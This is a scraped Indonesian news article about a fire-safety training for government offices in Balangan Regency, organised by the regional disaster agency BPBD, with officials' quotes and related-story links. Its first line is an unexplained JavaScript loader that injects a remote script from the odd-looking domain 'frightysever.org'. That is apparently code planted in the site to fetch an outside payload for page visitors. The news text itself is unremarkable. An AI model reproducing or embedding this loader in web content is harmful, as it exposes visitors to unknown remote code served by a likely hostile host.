(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Kesiapsiagaan kebakaran terutama gedung pemerintahan menjadi perhatian Badan Penanggulangan Bencana Daerah (BPBD) Balangan. Digelar bimbingan teknis proteksi dini dan standar safety bahaya kebakaran pada bangunan gedung kantor pemerintahan di Kabupaten Balangan 2025 selama dua hari Kamis dan Minggu (25 dan 28 September 2025).
Kepala Pelaksana (Kalak) BPBD Balangan, Rahmi, mengatakan, belum semua kantor di Balangan memiliki sistem proteksi dini dan standar keamanan (safety). Padahal sistem ini penting karena menyangkut keselamatan jiwa, arsip dan dokumen serta menjaga kelancaran pelayanan publik.
“Kami mengharapkan melalui kegiatan ini dapat terselenggara lingkungan yang aman dari bahaya kebakaran, terutama di lingkungan kantor pemerintahan,” ujar Rahmi, Sabtu (27/9/2025).
Baca juga: UPT KPHL Kapuas Kahayan Sosialisasi Karhutla di Desa Tumbang Mangkutup
Hadir dalam kegiatan tersebut peserta masing-masing sekretariat SKPD, sedangkan narasumber dari ULP Paringin dan Dinas Satpol PP dan Damkar Provinsi Kalimantan Selatan.
Bimtek digelar dalam rangka mengantisipasi sejak dini bahaya kebakaran, karena musibah kebakaran selalu mengintai dimana saja, baik itu dirumah maupun digedung kantor tempat bekerja.
“Musibah kebakaran tidak bisa diramalkan, bahkan di Kabupaten Balangan sejak penetapan status siaga Karhutla mulai Agustus sampai September 2025 sudah lima kali terjadi kebakaran,” ungkapnya.
Dia berharap para peserta Bimtek dapat menjaga keamanan dan mengantisipasi musibah kebakaran di kantornya.
Baca juga: Sekda Kapuas Pimpin Rapat Evaluasi Data Pascabanjir Desa Tumbang Mamput
Sementara itu, Wakil Bupati Balangan, Akhmad Fauzi, menambahkan, Bimtek ini merupakan salah satu upaya pencegahan serta langkah strategis untuk mengantisipasi kebakaran.
“Karena jika terjadi kebakaran banyak yang rugi, bahkan mengancam jiwa, jika terjadi digedung perkantoran maka mengancam arsip, dokumen serta berdampak terhadap pelayanan publik,” ujar Akhmad Fauzi.
Dia mengharapkan para peserta mendapatkan pemahaman tentang cara mencegah kebakaran terutama di kantornya masing-masing.
“Sebab keselamatan gedung pemerintah adalah tanggung jawab bersama yang harus dijaga. Jadi mari bersama membangun budaya safety, tingkatkan koordinasi dan kerjasama antar instansi, sehingga kita lebih segap dan terlatih serta waspada terhadap bahaya kebakaran,” tandas Wabup Balangan. (Kanalkalimantan.com/mcbalangan)
Reporter: mcbalangan
Editor: kk
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More
Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More
KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More
Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More
This website uses cookies.